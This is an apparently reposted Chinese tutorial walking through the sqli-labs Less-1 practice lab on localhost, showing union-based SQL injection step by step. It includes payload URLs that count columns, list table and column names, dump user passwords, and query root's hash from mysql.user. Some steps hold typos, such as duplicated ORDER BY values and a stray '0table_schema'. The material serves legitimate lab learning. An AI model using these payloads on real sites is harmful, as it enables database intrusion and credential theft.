less-1 是字符注入,union注入的步驟一般有以下幾步:
1、判斷注入點
2、判斷是整型還是字符型
3、判斷查詢列數
4、判斷顯示位
5、獲取敏感信息
1、判斷注入點
我們再Less1中看到,id將作為參數來使用,因此我們輸入:
http://localhost/Less-1/?id=1
這是看到訪問了第一個用戶的用戶名和密碼:

此時加入單引號進行嘗試,這里是在id后面加了一個單引號,這里發現了語句的錯誤。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’ LIMIT 0,1’ at line 1
這是回顯示數據庫錯誤信息,這樣就能判斷出有注入點。這是一種比較簡單的判斷。

2、判斷是整型還是字符型
可以輸入:
http://localhost/Less-1/?id=1 and 1=1 和 http://localhost/Less-1/?id=1 and 1=2


這里我們從訪問情況看,頁面是沒有任何變化的,就說明肯定是字符型。
3、判斷查詢列數
order by 函數是對MySQL中查詢結果按照指定字段名進行排序。
輸入 order by 4%23 發現頁面錯誤,說明沒有4列
輸入 order by 4%23 發現頁面正常,說明有3列
4、判斷顯示位
union是將兩個select查詢結果合并,我們可以在sqli-labs的數據庫中測試一下該語句。然后開始開始查詢庫名,版本號,用戶。
庫名:

用戶:

版本號:

5、獲取敏感信息
到這里我們就可以嘗試用union注入來獲取敏感信息了。嘗試將庫名進行轉碼,然后爆出所有的數據表名:
http://localhost:55007/Less-1/index.php?id=1‘ and 1=2 union select 1, group_concat(table_name),3 from information_schema.tables where 0table_schema=0x7365637572697479 and ’1‘=’1

選取users這個表,繼續進行轉碼,隨后爆出users表下所有的列名:
http://localhost:55007/Less-1/index.php?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and ‘1’=‘1

http://localhost:55007/Less-1/index.php?id=1’ and 1=2 union select 1,password,3 from users --+

嘗試查詢數據庫的用戶名,密碼:
http://localhost:55007/Less-1/index.php?id=1’ union select 1, User, authentication_string from mysql.user where User=‘root’ %23

這里沒有出現想要獲取的密碼
浙公網安備 33010602011771號